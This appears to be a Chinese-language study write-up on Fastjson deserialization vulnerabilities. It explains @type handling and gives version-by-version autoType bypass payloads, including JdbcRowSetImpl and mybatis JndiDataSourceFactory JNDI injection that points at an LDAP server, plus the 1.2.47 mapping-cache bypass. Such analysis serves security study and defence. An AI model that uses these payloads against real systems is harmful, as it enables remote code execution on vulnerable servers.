Fastjson提供了两个主要接口来分别实现对于Java Object的序列化和反序列化操作。
JSON.toJSONString
JSON.parseObject/JSON.parse
一个例子
public class Person { public String name; public int age; public String getName() { return name; } public void setName(String name) { this.name = name; } public int getAge() { return age; } public void setAge(int age) { this.age = age; } }
|
Fastjson
中序列化和反序列化的方法
String text = JSON.toJSONString(obj);
VO vo = JSON.parse(); VO vo = JSON.parseObject("{...}"); VO vo = JSON.parseObject("{...}", VO.class);
|
测试
import com.alibaba.fastjson.JSON; public class Fastjson_Learning { public static void main(String[] args) { Person person = new Person(); person.setName("Faster"); person.setAge(18); System.out.println("--------------序列化-------------"); String JSON_Serialize = JSON.toJSONString(person); System.out.println(JSON_Serialize); System.out.println("-------------反序列化-------------"); Object o1 = JSON.parse(JSON_Serialize); System.out.println(o1.getClass().getName()); System.out.println(o1); System.out.println("-------------反序列化-------------"); Object o2 = JSON.parseObject(JSON_Serialize); System.out.println(o2.getClass().getName()); System.out.println(o2); System.out.println("-------------反序列化-------------"); Object o3 = JSON.parseObject(JSON_Serialize,Person.class); System.out.println(o3.getClass().getName()); System.out.println(o3); } }
|
得到的结果
--------------序列化------------- {"age":18,"name":"Faster"} -------------反序列化------------- com.alibaba.fastjson.JSONObject {"name":"Faster","age":18} -------------反序列化------------- com.alibaba.fastjson.JSONObject {"name":"Faster","age":18} -------------反序列化------------- zip.fastjson.Person zip.fastjson.Person@7b1d7fff
|
不指定类的话就是JSONObject
@type
序列化对象的时候,如果toJSONString()
方法不添加额外的属性,那么就会将一个Java Bean转换成JSON字符串
{"age":18,"name":"Faster"}
如果想要对象,可以使用parse()
方法
{"name":"Faster","age":18}
而如果要将JSON字符串反序列化为原始的类
toJSONString()
方法中添加额外的属性SerializerFeature._WriteClassName_
,将对象类型一并序列化
Person person = new Person(); person.setName("Faster"); person.setAge(18);
String type = JSON.toJSONString(person, SerializerFeature.WriteClassName); System.out.println(type);
{"@type":"Person","age":18,"name":"Faster"}
|
- 在反序列化的时候,在
parseObject()
方法中手动指定对象的类型
bject o3 = JSON.parseObject(JSON_Serialize,Person.class); System.out.println(o3.getClass().getName()); System.out.println(o3);
|
反序列化
demo:
package zip.fastjson.demo; import java.io.IOException; public class Calc { public String calc; public Calc() { System.out.println("调用了构造函数"); } public String getCalc() { System.out.println("调用了getter"); return calc; } public void setCalc(String calc) throws IOException { this.calc = calc; Runtime.getRuntime().exec("open -a Calculator"); System.out.println("调用了setter"); } }
|
poc
package zip.fastjson.demo; import com.alibaba.fastjson.JSON; public class Fastjson_Test { public static void main(String[] args) { String JSON_Calc = "{\"@type\":\"zip.fastjson.demo.Calc\",\"calc\":\"Faster\"}"; System.out.println(JSON.parseObject(JSON_Calc)); } }
|
结果是
调用了构造函数 调用了setter 调用了getter {"calc":"Faster"}
|
并且成功执行命令(@type
对他的版本有要求)
利用
version <= 1.2.24
支持@type
,两条利用链
JdbcRowSetImpl
最终结果是JNDI
注入
parse(jsonStr) parseObject(jsonStr) parseObject(jsonStr,Object.class)
|
Templateslmpl
该链的利用面较窄,由于payload需要赋值的一些属性为private
类型,需要在parse()
反序列化时设置第二个参数Feature.SupportNonPublicField
version 1.2.25-1.2.41
1.2.25版本增加了对类的checkAutoType()
检查,会对要加载的类进行白名单和黑名单限制,并且引入了一个配置参数AutoTypeSupport
可以手动关闭ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
TypeUtils#loadClass
里
- 如果以
[
开头则去掉[
后进行类加载(在之前Fastjson已经判断过是否为数组了,实际走不到这一步)
- 如果以
L
开头,以;
结尾,则去掉开头和结尾进行类加载
L
开头和;
结尾就可以绕过
{" "\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\"," + "\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " + "\"autoCommit\":true" "} //其他利用链也同理
|
version 1.2.42
1.2.42相较于之前的版本,关键是在ParserConfig.java
中修改了以下两点
- 黑名单改为了hash值,防止绕过
- 对于传入的类名,删除开头
L
和结尾的;
难崩,双写绕过
{" "\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\"," + "\"dataSourceName\":\"ldap://127.0.0.1:9999/EXP\", " + "\"autoCommit\":true" "}
|
version 1.2.43
1.2.43版本修改了checkAutoType()
的部分代码,对于LL等开头结尾的字符串直接抛出异常。
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) { if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) { throw new JSONException("autoType is not support. " + typeName); } className = className.substring(1, className.length() - 1); }
|
用[{
绕过
{ "@type":"[com.sun.rowset.JdbcRowSetImpl"[{, "dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true }
|
version 1.2.44
修复[
version 1.2.45
能通过mybatis组件进行JNDI接口调用,进而加载恶意类
<dependency> <groupId>org.mybatis</groupId> <artifactId>mybatis</artifactId> <version>3.5.6</version> </dependency>
|
Payload
{ "@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory", "properties":{ "data_source":"ldap://127.0.0.1:9999/EXP" } }
|
version 1.2.47
该版本Payload能够绕过`checkAutoType`
内的各种检测,原理是通过Fastjson自带的缓存机制将恶意类加载到Mapping
中,从而绕过checkAutoType
检测
- 前半——将恶意类写入mapping缓存
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) { ... if (autoTypeSupport || expectClass != null) { long hash = h3; for (int i = 3; i < className.length(); ++i) { hash ^= className.charAt(i); hash *= PRIME; if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); if (clazz != null) { return clazz; } } if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) { throw new JSONException("autoType is not support. " + typeName); } } } if (clazz == null) { clazz = TypeUtils.getClassFromMapping(typeName); } if (clazz == null) { clazz = deserializers.findClass(typeName); } if (clazz != null) { if (expectClass != null && clazz != java.util.HashMap.class && !expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } if (!autoTypeSupport) { long hash = h3; for (int i = 3; i < className.length(); ++i) { char c = className.charAt(i); hash ^= c; hash *= PRIME; if (Arrays.binarySearch(denyHashCodes, hash) >= 0) { throw new JSONException("autoType is not support. " + typeName); } if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) { if (clazz == null) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); } if (expectClass != null && expectClass.isAssignableFrom(clazz)) { throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName()); } return clazz; } } } if (clazz == null) { clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false); } ... return clazz; }
|
可以看到,如果我们在mapping
中缓存有我们加载的恶意类,那么就有可能绕过黑白名单检测。下一步我们看看mapping
这个属性是否可控,如果能够将我们的恶意类写入mapping
中,那么就有可能绕过checkAutoType()
的检测
mapping.put
在TypeUtils#addBaseClassMappings
和TypeUtils#loadClass
中被调用
{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl" }
|
- 后半- 从mapping中加载恶意类
通过从mapping
中加载恶意类可以绕过checkAutoType()
的检测,当我们第二次进入checkAutoType()的时候,就会从mapping中获取恶意类
{ "1":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" } "2":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://127.0.0.1:9999/EXP", "autoCommit":"true" } }
|
该版本Payload基本通杀前全版本的Fastjson
version 1.2.48
无了mapping
Trick
当存在反序列化漏洞并以toString为入口时,通过Fastjson的com.alibaba.fastjson.JSONObject.toString
方法可以调用任意类的getter方法,因此可以配合TemplatesImpl
进行RCE